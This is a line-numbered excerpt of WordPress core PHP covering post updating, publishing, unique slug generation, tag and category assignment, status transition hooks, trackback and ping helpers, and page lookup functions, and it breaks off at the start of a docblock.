3677 $post_after = get_post( $post_ID );
3678
3679 /**
3680 * Fires once an existing attachment has been updated.
3681 *
3682 * @since 4.4.0
3683 *
3684 * @param int $post_ID Post ID.
3685 * @param WP_Post $post_after Post object following the update.
3686 * @param WP_Post $post_before Post object before the update.
3687 */
3688 do_action( 'attachment_updated', $post_ID, $post_after, $post_before );
3689 } else {
3690
3691 /**
3692 * Fires once an attachment has been added.
3693 *
3694 * @since 2.0.0
3695 *
3696 * @param int $post_ID Attachment ID.
3697 */
3698 do_action( 'add_attachment', $post_ID );
3699 }
3700
3701 return $post_ID;
3702 }
3703
3704 if ( $update ) {
3705 /**
3706 * Fires once an existing post has been updated.
3707 *
3708 * @since 1.2.0
3709 *
3710 * @param int $post_ID Post ID.
3711 * @param WP_Post $post Post object.
3712 */
3713 do_action( 'edit_post', $post_ID, $post );
3714 $post_after = get_post($post_ID);
3715
3716 /**
3717 * Fires once an existing post has been updated.
3718 *
3719 * @since 3.0.0
3720 *
3721 * @param int $post_ID Post ID.
3722 * @param WP_Post $post_after Post object following the update.
3723 * @param WP_Post $post_before Post object before the update.
3724 */
3725 do_action( 'post_updated', $post_ID, $post_after, $post_before);
3726 }
3727
3728 /**
3729 * Fires once a post has been saved.
3730 *
3731 * The dynamic portion of the hook name, `$post->post_type`, refers to
3732 * the post type slug.
3733 *
3734 * @since 3.7.0
3735 *
3736 * @param int $post_ID Post ID.
3737 * @param WP_Post $post Post object.
3738 * @param bool $update Whether this is an existing post being updated or not.
3739 */
3740 do_action( "save_post_{$post->post_type}", $post_ID, $post, $update );
3741
3742 /**
3743 * Fires once a post has been saved.
3744 *
3745 * @since 1.5.0
3746 *
3747 * @param int $post_ID Post ID.
3748 * @param WP_Post $post Post object.
3749 * @param bool $update Whether this is an existing post being updated or not.
3750 */
3751 do_action( 'save_post', $post_ID, $post, $update );
3752
3753 /**
3754 * Fires once a post has been saved.
3755 *
3756 * @since 2.0.0
3757 *
3758 * @param int $post_ID Post ID.
3759 * @param WP_Post $post Post object.
3760 * @param bool $update Whether this is an existing post being updated or not.
3761 */
3762 do_action( 'wp_insert_post', $post_ID, $post, $update );
3763
3764 return $post_ID;
3765}
3766
3767/**
3768 * Update a post with new post data.
3769 *
3770 * The date does not have to be set for drafts. You can set the date and it will
3771 * not be overridden.
3772 *
3773 * @since 1.0.0
3774 *
3775 * @param array|object $postarr Optional. Post data. Arrays are expected to be escaped,
3776 * objects are not. Default array.
3777 * @param bool $wp_error Optional. Allow return of WP_Error on failure. Default false.
3778 * @return int|WP_Error The value 0 or WP_Error on failure. The post ID on success.
3779 */
3780function wp_update_post( $postarr = array(), $wp_error = false ) {
3781 if ( is_object($postarr) ) {
3782 // Non-escaped post was passed.
3783 $postarr = get_object_vars($postarr);
3784 $postarr = wp_slash($postarr);
3785 }
3786
3787 // First, get all of the original fields.
3788 $post = get_post($postarr['ID'], ARRAY_A);
3789
3790 if ( is_null( $post ) ) {
3791 if ( $wp_error )
3792 return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
3793 return 0;
3794 }
3795
3796 // Escape data pulled from DB.
3797 $post = wp_slash($post);
3798
3799 // Passed post category list overwrites existing category list if not empty.
3800 if ( isset($postarr['post_category']) && is_array($postarr['post_category'])
3801 && 0 != count($postarr['post_category']) )
3802 $post_cats = $postarr['post_category'];
3803 else
3804 $post_cats = $post['post_category'];
3805
3806 // Drafts shouldn't be assigned a date unless explicitly done so by the user.
3807 if ( isset( $post['post_status'] ) && in_array($post['post_status'], array('draft', 'pending', 'auto-draft')) && empty($postarr['edit_date']) &&
3808 ('0000-00-00 00:00:00' == $post['post_date_gmt']) )
3809 $clear_date = true;
3810 else
3811 $clear_date = false;
3812
3813 // Merge old and new fields with new fields overwriting old ones.
3814 $postarr = array_merge($post, $postarr);
3815 $postarr['post_category'] = $post_cats;
3816 if ( $clear_date ) {
3817 $postarr['post_date'] = current_time('mysql');
3818 $postarr['post_date_gmt'] = '';
3819 }
3820
3821 if ($postarr['post_type'] == 'attachment')
3822 return wp_insert_attachment($postarr);
3823
3824 return wp_insert_post( $postarr, $wp_error );
3825}
3826
3827/**
3828 * Publish a post by transitioning the post status.
3829 *
3830 * @since 2.1.0
3831 *
3832 * @global wpdb $wpdb WordPress database abstraction object.
3833 *
3834 * @param int|WP_Post $post Post ID or post object.
3835 */
3836function wp_publish_post( $post ) {
3837 global $wpdb;
3838
3839 if ( ! $post = get_post( $post ) )
3840 return;
3841
3842 if ( 'publish' == $post->post_status )
3843 return;
3844
3845 $wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post->ID ) );
3846
3847 clean_post_cache( $post->ID );
3848
3849 $old_status = $post->post_status;
3850 $post->post_status = 'publish';
3851 wp_transition_post_status( 'publish', $old_status, $post );
3852
3853 /** This action is documented in wp-includes/post.php */
3854 do_action( 'edit_post', $post->ID, $post );
3855
3856 /** This action is documented in wp-includes/post.php */
3857 do_action( "save_post_{$post->post_type}", $post->ID, $post, true );
3858
3859 /** This action is documented in wp-includes/post.php */
3860 do_action( 'save_post', $post->ID, $post, true );
3861
3862 /** This action is documented in wp-includes/post.php */
3863 do_action( 'wp_insert_post', $post->ID, $post, true );
3864}
3865
3866/**
3867 * Publish future post and make sure post ID has future post status.
3868 *
3869 * Invoked by cron 'publish_future_post' event. This safeguard prevents cron
3870 * from publishing drafts, etc.
3871 *
3872 * @since 2.5.0
3873 *
3874 * @param int|WP_Post $post_id Post ID or post object.
3875 */
3876function check_and_publish_future_post( $post_id ) {
3877 $post = get_post($post_id);
3878
3879 if ( empty($post) )
3880 return;
3881
3882 if ( 'future' != $post->post_status )
3883 return;
3884
3885 $time = strtotime( $post->post_date_gmt . ' GMT' );
3886
3887 // Uh oh, someone jumped the gun!
3888 if ( $time > time() ) {
3889 wp_clear_scheduled_hook( 'publish_future_post', array( $post_id ) ); // clear anything else in the system
3890 wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) );
3891 return;
3892 }
3893
3894 // wp_publish_post() returns no meaningful value.
3895 wp_publish_post( $post_id );
3896}
3897
3898/**
3899 * Computes a unique slug for the post, when given the desired slug and some post details.
3900 *
3901 * @since 2.8.0
3902 *
3903 * @global wpdb $wpdb WordPress database abstraction object.
3904 * @global WP_Rewrite $wp_rewrite
3905 *
3906 * @param string $slug The desired slug (post_name).
3907 * @param int $post_ID Post ID.
3908 * @param string $post_status No uniqueness checks are made if the post is still draft or pending.
3909 * @param string $post_type Post type.
3910 * @param int $post_parent Post parent ID.
3911 * @return string Unique slug for the post, based on $post_name (with a -1, -2, etc. suffix)
3912 */
3913function wp_unique_post_slug( $slug, $post_ID, $post_status, $post_type, $post_parent ) {
3914 if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) || ( 'inherit' == $post_status && 'revision' == $post_type ) || 'user_request' === $post_type )
3915 return $slug;
3916
3917 global $wpdb, $wp_rewrite;
3918
3919 $original_slug = $slug;
3920
3921 $feeds = $wp_rewrite->feeds;
3922 if ( ! is_array( $feeds ) )
3923 $feeds = array();
3924
3925 if ( 'attachment' == $post_type ) {
3926 // Attachment slugs must be unique across all types.
3927 $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1";
3928 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_ID ) );
3929
3930 /**
3931 * Filters whether the post slug would make a bad attachment slug.
3932 *
3933 * @since 3.1.0
3934 *
3935 * @param bool $bad_slug Whether the slug would be bad as an attachment slug.
3936 * @param string $slug The post slug.
3937 */
3938 if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) {
3939 $suffix = 2;
3940 do {
3941 $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
3942 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_ID ) );
3943 $suffix++;
3944 } while ( $post_name_check );
3945 $slug = $alt_post_name;
3946 }
3947 } elseif ( is_post_type_hierarchical( $post_type ) ) {
3948 if ( 'nav_menu_item' == $post_type )
3949 return $slug;
3950
3951 /*
3952 * Page slugs must be unique within their own trees. Pages are in a separate
3953 * namespace than posts so page slugs are allowed to overlap post slugs.
3954 */
3955 $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( %s, 'attachment' ) AND ID != %d AND post_parent = %d LIMIT 1";
3956 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID, $post_parent ) );
3957
3958 /**
3959 * Filters whether the post slug would make a bad hierarchical post slug.
3960 *
3961 * @since 3.1.0
3962 *
3963 * @param bool $bad_slug Whether the post slug would be bad in a hierarchical post context.
3964 * @param string $slug The post slug.
3965 * @param string $post_type Post type.
3966 * @param int $post_parent Post parent ID.
3967 */
3968 if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || preg_match( "@^($wp_rewrite->pagination_base)?\d+$@", $slug ) || apply_filters( 'wp_unique_post_slug_is_bad_hierarchical_slug', false, $slug, $post_type, $post_parent ) ) {
3969 $suffix = 2;
3970 do {
3971 $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
3972 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID, $post_parent ) );
3973 $suffix++;
3974 } while ( $post_name_check );
3975 $slug = $alt_post_name;
3976 }
3977 } else {
3978 // Post slugs must be unique across all posts.
3979 $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1";
3980 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID ) );
3981
3982 // Prevent new post slugs that could result in URLs that conflict with date archives.
3983 $post = get_post( $post_ID );
3984 $conflicts_with_date_archive = false;
3985 if ( 'post' === $post_type && ( ! $post || $post->post_name !== $slug ) && preg_match( '/^[0-9]+$/', $slug ) && $slug_num = intval( $slug ) ) {
3986 $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
3987 $postname_index = array_search( '%postname%', $permastructs );
3988
3989 /*
3990 * Potential date clashes are as follows:
3991 *
3992 * - Any integer in the first permastruct position could be a year.
3993 * - An integer between 1 and 12 that follows 'year' conflicts with 'monthnum'.
3994 * - An integer between 1 and 31 that follows 'monthnum' conflicts with 'day'.
3995 */
3996 if ( 0 === $postname_index ||
3997 ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && 13 > $slug_num ) ||
3998 ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && 32 > $slug_num )
3999 ) {
4000 $conflicts_with_date_archive = true;
4001 }
4002 }
4003
4004 /**
4005 * Filters whether the post slug would be bad as a flat slug.
4006 *
4007 * @since 3.1.0
4008 *
4009 * @param bool $bad_slug Whether the post slug would be bad as a flat slug.
4010 * @param string $slug The post slug.
4011 * @param string $post_type Post type.
4012 */
4013 if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || $conflicts_with_date_archive || apply_filters( 'wp_unique_post_slug_is_bad_flat_slug', false, $slug, $post_type ) ) {
4014 $suffix = 2;
4015 do {
4016 $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
4017 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID ) );
4018 $suffix++;
4019 } while ( $post_name_check );
4020 $slug = $alt_post_name;
4021 }
4022 }
4023
4024 /**
4025 * Filters the unique post slug.
4026 *
4027 * @since 3.3.0
4028 *
4029 * @param string $slug The post slug.
4030 * @param int $post_ID Post ID.
4031 * @param string $post_status The post status.
4032 * @param string $post_type Post type.
4033 * @param int $post_parent Post parent ID
4034 * @param string $original_slug The original post slug.
4035 */
4036 return apply_filters( 'wp_unique_post_slug', $slug, $post_ID, $post_status, $post_type, $post_parent, $original_slug );
4037}
4038
4039/**
4040 * Truncate a post slug.
4041 *
4042 * @since 3.6.0
4043 * @access private
4044 *
4045 * @see utf8_uri_encode()
4046 *
4047 * @param string $slug The slug to truncate.
4048 * @param int $length Optional. Max length of the slug. Default 200 (characters).
4049 * @return string The truncated slug.
4050 */
4051function _truncate_post_slug( $slug, $length = 200 ) {
4052 if ( strlen( $slug ) > $length ) {
4053 $decoded_slug = urldecode( $slug );
4054 if ( $decoded_slug === $slug )
4055 $slug = substr( $slug, 0, $length );
4056 else
4057 $slug = utf8_uri_encode( $decoded_slug, $length );
4058 }
4059
4060 return rtrim( $slug, '-' );
4061}
4062
4063/**
4064 * Add tags to a post.
4065 *
4066 * @see wp_set_post_tags()
4067 *
4068 * @since 2.3.0
4069 *
4070 * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
4071 * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags
4072 * separated by commas. Default empty.
4073 * @return array|false|WP_Error Array of affected term IDs. WP_Error or false on failure.
4074 */
4075function wp_add_post_tags( $post_id = 0, $tags = '' ) {
4076 return wp_set_post_tags($post_id, $tags, true);
4077}
4078
4079/**
4080 * Set the tags for a post.
4081 *
4082 * @since 2.3.0
4083 *
4084 * @see wp_set_object_terms()
4085 *
4086 * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
4087 * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags
4088 * separated by commas. Default empty.
4089 * @param bool $append Optional. If true, don't delete existing tags, just add on. If false,
4090 * replace the tags with the new tags. Default false.
4091 * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
4092 */
4093function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) {
4094 return wp_set_post_terms( $post_id, $tags, 'post_tag', $append);
4095}
4096
4097/**
4098 * Set the terms for a post.
4099 *
4100 * @since 2.8.0
4101 *
4102 * @see wp_set_object_terms()
4103 *
4104 * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
4105 * @param string|array $tags Optional. An array of terms to set for the post, or a string of terms
4106 * separated by commas. Default empty.
4107 * @param string $taxonomy Optional. Taxonomy name. Default 'post_tag'.
4108 * @param bool $append Optional. If true, don't delete existing terms, just add on. If false,
4109 * replace the terms with the new terms. Default false.
4110 * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
4111 */
4112function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) {
4113 $post_id = (int) $post_id;
4114
4115 if ( !$post_id )
4116 return false;
4117
4118 if ( empty($tags) )
4119 $tags = array();
4120
4121 if ( ! is_array( $tags ) ) {
4122 $comma = _x( ',', 'tag delimiter' );
4123 if ( ',' !== $comma )
4124 $tags = str_replace( $comma, ',', $tags );
4125 $tags = explode( ',', trim( $tags, " \n\t\r\0\x0B," ) );
4126 }
4127
4128 /*
4129 * Hierarchical taxonomies must always pass IDs rather than names so that
4130 * children with the same names but different parents aren't confused.
4131 */
4132 if ( is_taxonomy_hierarchical( $taxonomy ) ) {
4133 $tags = array_unique( array_map( 'intval', $tags ) );
4134 }
4135
4136 return wp_set_object_terms( $post_id, $tags, $taxonomy, $append );
4137}
4138
4139/**
4140 * Set categories for a post.
4141 *
4142 * If the post categories parameter is not set, then the default category is
4143 * going used.
4144 *
4145 * @since 2.1.0
4146 *
4147 * @param int $post_ID Optional. The Post ID. Does not default to the ID
4148 * of the global $post. Default 0.
4149 * @param array|int $post_categories Optional. List of categories or ID of category.
4150 * Default empty array.
4151 * @param bool $append If true, don't delete existing categories, just add on.
4152 * If false, replace the categories with the new categories.
4153 * @return array|false|WP_Error Array of term taxonomy IDs of affected categories. WP_Error or false on failure.
4154 */
4155function wp_set_post_categories( $post_ID = 0, $post_categories = array(), $append = false ) {
4156 $post_ID = (int) $post_ID;
4157 $post_type = get_post_type( $post_ID );
4158 $post_status = get_post_status( $post_ID );
4159 // If $post_categories isn't already an array, make it one:
4160 $post_categories = (array) $post_categories;
4161 if ( empty( $post_categories ) ) {
4162 if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
4163 $post_categories = array( get_option('default_category') );
4164 $append = false;
4165 } else {
4166 $post_categories = array();
4167 }
4168 } elseif ( 1 == count( $post_categories ) && '' == reset( $post_categories ) ) {
4169 return true;
4170 }
4171
4172 return wp_set_post_terms( $post_ID, $post_categories, 'category', $append );
4173}
4174
4175/**
4176 * Fires actions related to the transitioning of a post's status.
4177 *
4178 * When a post is saved, the post status is "transitioned" from one status to another,
4179 * though this does not always mean the status has actually changed before and after
4180 * the save. This function fires a number of action hooks related to that transition:
4181 * the generic {@see 'transition_post_status'} action, as well as the dynamic hooks
4182 * {@see '$old_status_to_$new_status'} and {@see '$new_status_$post->post_type'}. Note
4183 * that the function does not transition the post object in the database.
4184 *
4185 * For instance: When publishing a post for the first time, the post status may transition
4186 * from 'draft' – or some other status – to 'publish'. However, if a post is already
4187 * published and is simply being updated, the "old" and "new" statuses may both be 'publish'
4188 * before and after the transition.
4189 *
4190 * @since 2.3.0
4191 *
4192 * @param string $new_status Transition to this post status.
4193 * @param string $old_status Previous post status.
4194 * @param WP_Post $post Post data.
4195 */
4196function wp_transition_post_status( $new_status, $old_status, $post ) {
4197 /**
4198 * Fires when a post is transitioned from one status to another.
4199 *
4200 * @since 2.3.0
4201 *
4202 * @param string $new_status New post status.
4203 * @param string $old_status Old post status.
4204 * @param WP_Post $post Post object.
4205 */
4206 do_action( 'transition_post_status', $new_status, $old_status, $post );
4207
4208 /**
4209 * Fires when a post is transitioned from one status to another.
4210 *
4211 * The dynamic portions of the hook name, `$new_status` and `$old status`,
4212 * refer to the old and new post statuses, respectively.
4213 *
4214 * @since 2.3.0
4215 *
4216 * @param WP_Post $post Post object.
4217 */
4218 do_action( "{$old_status}_to_{$new_status}", $post );
4219
4220 /**
4221 * Fires when a post is transitioned from one status to another.
4222 *
4223 * The dynamic portions of the hook name, `$new_status` and `$post->post_type`,
4224 * refer to the new post status and post type, respectively.
4225 *
4226 * Please note: When this action is hooked using a particular post status (like
4227 * 'publish', as `publish_{$post->post_type}`), it will fire both when a post is
4228 * first transitioned to that status from something else, as well as upon
4229 * subsequent post updates (old and new status are both the same).
4230 *
4231 * Therefore, if you are looking to only fire a callback when a post is first
4232 * transitioned to a status, use the {@see 'transition_post_status'} hook instead.
4233 *
4234 * @since 2.3.0
4235 *
4236 * @param int $post_id Post ID.
4237 * @param WP_Post $post Post object.
4238 */
4239 do_action( "{$new_status}_{$post->post_type}", $post->ID, $post );
4240}
4241
4242//
4243// Comment, trackback, and pingback functions.
4244//
4245
4246/**
4247 * Add a URL to those already pinged.
4248 *
4249 * @since 1.5.0
4250 * @since 4.7.0 $post_id can be a WP_Post object.
4251 * @since 4.7.0 $uri can be an array of URIs.
4252 *
4253 * @global wpdb $wpdb WordPress database abstraction object.
4254 *
4255 * @param int|WP_Post $post_id Post object or ID.
4256 * @param string|array $uri Ping URI or array of URIs.
4257 * @return int|false How many rows were updated.
4258 */
4259function add_ping( $post_id, $uri ) {
4260 global $wpdb;
4261
4262 $post = get_post( $post_id );
4263 if ( ! $post ) {
4264 return false;
4265 }
4266
4267 $pung = trim( $post->pinged );
4268 $pung = preg_split( '/\s/', $pung );
4269
4270 if ( is_array( $uri ) ) {
4271 $pung = array_merge( $pung, $uri );
4272 }
4273 else {
4274 $pung[] = $uri;
4275 }
4276 $new = implode("\n", $pung);
4277
4278 /**
4279 * Filters the new ping URL to add for the given post.
4280 *
4281 * @since 2.0.0
4282 *
4283 * @param string $new New ping URL to add.
4284 */
4285 $new = apply_filters( 'add_ping', $new );
4286
4287 $return = $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post->ID ) );
4288 clean_post_cache( $post->ID );
4289 return $return;
4290}
4291
4292/**
4293 * Retrieve enclosures already enclosed for a post.
4294 *
4295 * @since 1.5.0
4296 *
4297 * @param int $post_id Post ID.
4298 * @return array List of enclosures.
4299 */
4300function get_enclosed( $post_id ) {
4301 $custom_fields = get_post_custom( $post_id );
4302 $pung = array();
4303 if ( !is_array( $custom_fields ) )
4304 return $pung;
4305
4306 foreach ( $custom_fields as $key => $val ) {
4307 if ( 'enclosure' != $key || !is_array( $val ) )
4308 continue;
4309 foreach ( $val as $enc ) {
4310 $enclosure = explode( "\n", $enc );
4311 $pung[] = trim( $enclosure[ 0 ] );
4312 }
4313 }
4314
4315 /**
4316 * Filters the list of enclosures already enclosed for the given post.
4317 *
4318 * @since 2.0.0
4319 *
4320 * @param array $pung Array of enclosures for the given post.
4321 * @param int $post_id Post ID.
4322 */
4323 return apply_filters( 'get_enclosed', $pung, $post_id );
4324}
4325
4326/**
4327 * Retrieve URLs already pinged for a post.
4328 *
4329 * @since 1.5.0
4330 *
4331 * @since 4.7.0 $post_id can be a WP_Post object.
4332 *
4333 * @param int|WP_Post $post_id Post ID or object.
4334 * @return array
4335 */
4336function get_pung( $post_id ) {
4337 $post = get_post( $post_id );
4338 if ( ! $post ) {
4339 return false;
4340 }
4341
4342 $pung = trim( $post->pinged );
4343 $pung = preg_split( '/\s/', $pung );
4344
4345 /**
4346 * Filters the list of already-pinged URLs for the given post.
4347 *
4348 * @since 2.0.0
4349 *
4350 * @param array $pung Array of URLs already pinged for the given post.
4351 */
4352 return apply_filters( 'get_pung', $pung );
4353}
4354
4355/**
4356 * Retrieve URLs that need to be pinged.
4357 *
4358 * @since 1.5.0
4359 * @since 4.7.0 $post_id can be a WP_Post object.
4360 *
4361 * @param int|WP_Post $post_id Post Object or ID
4362 * @return array
4363 */
4364function get_to_ping( $post_id ) {
4365 $post = get_post( $post_id );
4366
4367 if ( ! $post ) {
4368 return false;
4369 }
4370
4371 $to_ping = sanitize_trackback_urls( $post->to_ping );
4372 $to_ping = preg_split('/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY);
4373
4374 /**
4375 * Filters the list of URLs yet to ping for the given post.
4376 *
4377 * @since 2.0.0
4378 *
4379 * @param array $to_ping List of URLs yet to ping.
4380 */
4381 return apply_filters( 'get_to_ping', $to_ping );
4382}
4383
4384/**
4385 * Do trackbacks for a list of URLs.
4386 *
4387 * @since 1.0.0
4388 *
4389 * @param string $tb_list Comma separated list of URLs.
4390 * @param int $post_id Post ID.
4391 */
4392function trackback_url_list( $tb_list, $post_id ) {
4393 if ( ! empty( $tb_list ) ) {
4394 // Get post data.
4395 $postdata = get_post( $post_id, ARRAY_A );
4396
4397 // Form an excerpt.
4398 $excerpt = strip_tags( $postdata['post_excerpt'] ? $postdata['post_excerpt'] : $postdata['post_content'] );
4399
4400 if ( strlen( $excerpt ) > 255 ) {
4401 $excerpt = substr( $excerpt, 0, 252 ) . '…';
4402 }
4403
4404 $trackback_urls = explode( ',', $tb_list );
4405 foreach ( (array) $trackback_urls as $tb_url ) {
4406 $tb_url = trim( $tb_url );
4407 trackback( $tb_url, wp_unslash( $postdata['post_title'] ), $excerpt, $post_id );
4408 }
4409 }
4410}
4411
4412//
4413// Page functions
4414//
4415
4416/**
4417 * Get a list of page IDs.
4418 *
4419 * @since 2.0.0
4420 *
4421 * @global wpdb $wpdb WordPress database abstraction object.
4422 *
4423 * @return array List of page IDs.
4424 */
4425function get_all_page_ids() {
4426 global $wpdb;
4427
4428 $page_ids = wp_cache_get('all_page_ids', 'posts');
4429 if ( ! is_array( $page_ids ) ) {
4430 $page_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'page'");
4431 wp_cache_add('all_page_ids', $page_ids, 'posts');
4432 }
4433
4434 return $page_ids;
4435}
4436
4437/**
4438 * Retrieves page data given a page ID or page object.
4439 *
4440 * Use get_post() instead of get_page().
4441 *
4442 * @since 1.5.1
4443 * @deprecated 3.5.0 Use get_post()
4444 *
4445 * @param mixed $page Page object or page ID. Passed by reference.
4446 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
4447 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
4448 * @param string $filter Optional. How the return value should be filtered. Accepts 'raw',
4449 * 'edit', 'db', 'display'. Default 'raw'.
4450 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
4451 */
4452function get_page( $page, $output = OBJECT, $filter = 'raw') {
4453 return get_post( $page, $output, $filter );
4454}
4455
4456/**
4457 * Retrieves a page given its path.
4458 *
4459 * @since 2.1.0
4460 *
4461 * @global wpdb $wpdb WordPress database abstraction object.
4462 *
4463 * @param string $page_path Page path.
4464 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
4465 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
4466 * @param string|array $post_type Optional. Post type or array of post types. Default 'page'.
4467 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
4468 */
4469function get_page_by_path( $page_path, $output = OBJECT, $post_type = 'page' ) {
4470 global $wpdb;
4471
4472 $last_changed = wp_cache_get_last_changed( 'posts' );
4473
4474 $hash = md5( $page_path . serialize( $post_type ) );
4475 $cache_key = "get_page_by_path:$hash:$last_changed";
4476 $cached = wp_cache_get( $cache_key, 'posts' );
4477 if ( false !== $cached ) {
4478 // Special case: '0' is a bad `$page_path`.
4479 if ( '0' === $cached || 0 === $cached ) {
4480 return;
4481 } else {
4482 return get_post( $cached, $output );
4483 }
4484 }
4485
4486 $page_path = rawurlencode(urldecode($page_path));
4487 $page_path = str_replace('%2F', '/', $page_path);
4488 $page_path = str_replace('%20', ' ', $page_path);
4489 $parts = explode( '/', trim( $page_path, '/' ) );
4490 $parts = array_map( 'sanitize_title_for_query', $parts );
4491 $escaped_parts = esc_sql( $parts );
4492
4493 $in_string = "'" . implode( "','", $escaped_parts ) . "'";
4494
4495 if ( is_array( $post_type ) ) {
4496 $post_types = $post_type;
4497 } else {
4498 $post_types = array( $post_type, 'attachment' );
4499 }
4500
4501 $post_types = esc_sql( $post_types );
4502 $post_type_in_string = "'" . implode( "','", $post_types ) . "'";
4503 $sql = "
4504 SELECT ID, post_name, post_parent, post_type
4505 FROM $wpdb->posts
4506 WHERE post_name IN ($in_string)
4507 AND post_type IN ($post_type_in_string)
4508 ";
4509
4510 $pages = $wpdb->get_results( $sql, OBJECT_K );
4511
4512 $revparts = array_reverse( $parts );
4513
4514 $foundid = 0;
4515 foreach ( (array) $pages as $page ) {
4516 if ( $page->post_name == $revparts[0] ) {
4517 $count = 0;
4518 $p = $page;
4519
4520 /*
4521 * Loop through the given path parts from right to left,
4522 * ensuring each matches the post ancestry.
4523 */
4524 while ( $p->post_parent != 0 && isset( $pages[ $p->post_parent ] ) ) {
4525 $count++;
4526 $parent = $pages[ $p->post_parent ];
4527 if ( ! isset( $revparts[ $count ] ) || $parent->post_name != $revparts[ $count ] )
4528 break;
4529 $p = $parent;
4530 }
4531
4532 if ( $p->post_parent == 0 && $count+1 == count( $revparts ) && $p->post_name == $revparts[ $count ] ) {
4533 $foundid = $page->ID;
4534 if ( $page->post_type == $post_type )
4535 break;
4536 }
4537 }
4538 }
4539
4540 // We cache misses as well as hits.
4541 wp_cache_set( $cache_key, $foundid, 'posts' );
4542
4543 if ( $foundid ) {
4544 return get_post( $foundid, $output );
4545 }
4546}
4547
4548/**
4549 * Retrieve a page given its title.
4550 *
4551 * @since 2.1.0
4552 *
4553 * @global wpdb $wpdb WordPress database abstraction object.
4554 *
4555 * @param string $page_title Page title
4556 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
4557 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
4558 * @param string|array $post_type Optional. Post type or array of post types. Default 'page'.
4559 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
4560 */
4561function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
4562 global $wpdb;
4563
4564 if ( is_array( $post_type ) ) {
4565 $post_type = esc_sql( $post_type );
4566 $post_type_in_string = "'" . implode( "','", $post_type ) . "'";
4567 $sql = $wpdb->prepare( "
4568 SELECT ID
4569 FROM $wpdb->posts
4570 WHERE post_title = %s
4571 AND post_type IN ($post_type_in_string)
4572 ", $page_title );
4573 } else {
4574 $sql = $wpdb->prepare( "
4575 SELECT ID
4576 FROM $wpdb->posts
4577 WHERE post_title = %s
4578 AND post_type = %s
4579 ", $page_title, $post_type );
4580 }
4581
4582 $page = $wpdb->get_var( $sql );
4583
4584 if ( $page ) {
4585 return get_post( $page, $output );
4586 }
4587}
4588
4589/**
4590 * Identify descendants of a given page ID in a list of page objects.
4591 *
4592 * Descendants are identified from the `$pages` array passed to the function. No database queries are performed.
4593 *
4594 * @since 1.5.1
4595 *
4596 * @param int $page_id Page ID.
4597 * @param array $pages List of page objects from which descendants should be identified.
4598 * @return array List of page children.
4599 */
4600function get_page_children( $page_id, $pages ) {
4601 // Build a hash of ID -> children.
4602 $children = array();
4603 foreach ( (array) $pages as $page ) {
4604 $children[ intval( $page->post_parent ) ][] = $page;
4605 }
4606
4607 $page_list = array();
4608
4609 // Start the search by looking at immediate children.
4610 if ( isset( $children[ $page_id ] ) ) {
4611 // Always start at the end of the stack in order to preserve original `$pages` order.
4612 $to_look = array_reverse( $children[ $page_id ] );
4613
4614 while ( $to_look ) {
4615 $p = array_pop( $to_look );
4616 $page_list[] = $p;
4617 if ( isset( $children[ $p->ID ] ) ) {
4618 foreach ( array_reverse( $children[ $p->ID ] ) as $child ) {
4619 // Append to the `$to_look` stack to descend the tree.
4620 $to_look[] = $child;
4621 }
4622 }
4623 }
4624 }
4625
4626 return $page_list;
4627}
4628
4629/**
4630 * Order the pages with children under parents in a flat list.
4631 *
